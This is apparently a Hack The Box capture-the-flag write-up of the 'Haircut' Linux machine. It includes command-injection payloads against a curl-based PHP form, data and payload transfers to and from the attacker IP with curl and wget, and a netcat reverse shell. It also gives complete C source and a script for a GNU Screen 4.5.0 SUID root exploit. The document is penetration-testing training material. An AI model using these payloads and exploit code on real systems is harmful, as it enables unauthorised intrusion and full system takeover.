Nmap
Port 80
Gobuster
Exploitation
exposed.php
Post exploitation
Enumeration
SUID
Privilege escalation: www-data to root
Welcome to the Haircut writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Haircut
tags: HTB
Medium
Linux
OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux
Link: Click here
Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -p- -T4 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-09 00:20 CEST
Nmap scan report for 10.10.10.24
Host is up (0.10s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 432.83 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -A -Pn -p 22,80 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-09 00:28 CEST
Nmap scan report for 10.10.10.24
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 3.18 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 147.35 ms 10.10.14.1
2 147.41 ms 10.10.10.24
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds
Port 80
Gobuster
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.24/ -x html,php -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.24/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
2021/05/09 09:34:08 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 144]
/uploads (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
/test.html (Status: 200) [Size: 223]
/hair.html (Status: 200) [Size: 141]
/exposed.php (Status: 200) [Size: 446]
===============================================================
2021/05/09 09:56:41 Finished
===============================================================
Checking the exposed.php
file we can see that there is a form that makes a request to a web page and shows the result.
Let's see if it uses curl
to see if we can do a command injection
.
If we make a request with the empty text field, we see that it indicates an error in the curl
command.
Let's try to inject a shell.
Exploitation
exposed.php
To check if we have RCE we can ping our IP address to see if we receive ICMP requests.
$(ping -c 3 10.10.14.22)
$ tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:43:36.219514 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 1, length 64
09:43:36.219553 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 1, length 64
09:43:37.219917 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 2, length 64
09:43:37.219952 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 2, length 64
09:43:38.220529 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 3, length 64
09:43:38.220567 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 3, length 64
Perfect, now doing some tests we can verify that some characters like ;
and &
are restricted by what we are going to receive in base64
the source code of the exposed.php
file.
`curl -X POST -d "b64=$(base64 exposed.php)" 10.10.14.22/`
$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.24] 46478
POST / HTTP/1.1
Host: 10.10.14.22
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 1248
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue
b64=PGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+SGFpcmRyZXNzZXIgY2hlY2tlcjwvdGl0bGU+Cgk8L2hl
YWQ+Cgk8Ym9keT4KCTxmb3JtIGFjdGlvbj0nZXhwb3NlZC5waHAnIG1ldGhvZD0nUE9TVCc+CgkJ
PHNwYW4+CgkJPHA+CgkJRW50ZXIgdGhlIEhhaXJkcmVzc2VyJ3MgbG9jYXRpb24geW91IHdvdWxk
IGxpa2UgdG8gY2hlY2suIEV4YW1wbGU6IGh0dHA6Ly9sb2NhbGhvc3QvdGVzdC5odG1sCgkJPC9w
PgoJCTwvc3Bhbj4KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm9ybXVybCcgaWQ9J2Zvcm11
cmwnIHdpZHRoPSc1MCcgdmFsdWU9J2h0dHA6Ly9sb2NhbGhvc3QvdGVzdC5odG1sJy8+CgkJPGlu
cHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nR28nIGlkPSdzdWJtaXQnIC8+
Cgk8L2Zvcm0+Cgk8c3Bhbj4KCQk8P3BocCAKCQkJaWYoaXNzZXQoJF9QT1NUWydmb3JtdXJsJ10p
KXsKCQkJZWNobyAiPHA+UmVxdWVzdGluZyBTaXRlLi4uPC9wPiI7IAoJCQkkdXNlcnVybD0kX1BP
U1RbJ2Zvcm11cmwnXTsKCQkJJG5hdWdodHl1cmw9MDsKCQkJJGRpc2FsbG93ZWQ9YXJyYXkoJyUn
LCchJywnfCcsJzsnLCdweXRob24nLCduYycsJ3BlcmwnLCdiYXNoJywnJicsJyMnLCd7JywnfScs
J1snLCddJyk7CgkJCWZvcmVhY2goJGRpc2FsbG93ZWQgYXMgJG5hdWdodHkpewoJCQkJaWYoc3Ry
cG9zKCR1c2VydXJsLCRuYXVnaHR5KSAhPT1mYWxzZSl7CgkJCQkJZWNobyAkbmF1Z2h0eS4nIGlz
IG5vdCBhIGdvb2QgdGhpbmcgdG8gcHV0IGluIGEgVVJMJzsKCQkJCQkkbmF1Z2h0eXVybD0xOwoJ
CQkJfQoJCQl9CgkJCWlmKCRuYXVnaHR5dXJsPT0wKXsKCQkJCWVjaG8gc2hlbGxfZXhlYygiY3Vy
bCAiLiR1c2VydXJsLiIgMj4mMSIpOyAKCQkJfQoJCQl9CgkJPz4KCTwvc3Bhbj4KCTwvYm9keT4K
PC9odG1sPgoK
As we can see, we can't execute any of these characters '%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']'
.
<html>
<head>
<title>Hairdresser checker</title>
</head>
<body>
<form action='exposed.php' method='POST'>
<span>
<p>
Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
</p>
</span>
<input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
<input type='submit' name='submit' value='Go' id='submit' />
</form>
<span>
<?php
if(isset($_POST['formurl'])){
echo "<p>Requesting Site...</p>";
$userurl=$_POST['formurl'];
$naughtyurl=0;
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
foreach($disallowed as $naughty){
if(strpos($userurl,$naughty) !==false){
echo $naughty.' is not a good thing to put in a URL';
$naughtyurl=1;
}
}
if($naughtyurl==0){
echo shell_exec("curl ".$userurl." 2>&1");
}
}
?>
</span>
</body>
</html>
Knowing these restrictions we can upload a shell in PHP to /tmp
and execute it later.
$(wget 10.10.14.22/shell.php -O /tmp/shell.php)
Now with a terminal listening we run our shell with php
.
$(php /tmp/shell.php)
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.24] 53456
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
21:35:12 up 11 min, 0 users, load average: 0.02, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1651): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haircut:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@haircut:/$
Post exploitation
Enumeration
SUID
As we can see on the list, Screen
is configured as SUID and looking at exploit-db we can find this exploit for the Screen version that is installed on the system.
www-data@haircut:/$ find / -perm /4000 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
Privilege escalation: www-data to root
The system is not ready to compile our libhax.so
bookstore so we are going to compile along with rootshell.c
on our system and we upload the binaries to the box.
$ cat << EOF > /tmp/libhax.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <unistd.h>
> __attribute__ ((__constructor__))
> void dropshell(void){
> chown("/tmp/rootshell", 0, 0);
> chmod("/tmp/rootshell", 04755);
> unlink("/etc/ld.so.preload");
> printf("[+] done!\n");
> }
> EOF
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
$ cat << EOF > /tmp/rootshell.c
> #include <stdio.h>
> int main(void){
> setuid(0);
> setgid(0);
> seteuid(0);
> setegid(0);
> execvp("/bin/sh", NULL, NULL);
> }
> EOF
$ gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
Perfect, now we upload the binaries to /tmp
, we create a script with the rest of the exploit to make it automatic and we will give you execution permissions.
> echo "[+] Now we create our /etc/ld.so.preload file..."
> cd /etc
> umask 000 # because
> screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
> echo "[+] Triggering..."
> screen -ls # screen itself is setuid, so...
> /tmp/rootshell
> EOF
www-data@haircut:/etc$ cd /tmp
www-data@haircut:/tmp$ chmod +x rootshell.sh
And it's time to run the script and receive root!
www-data@haircut:/tmp$ ./rootshell.sh
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#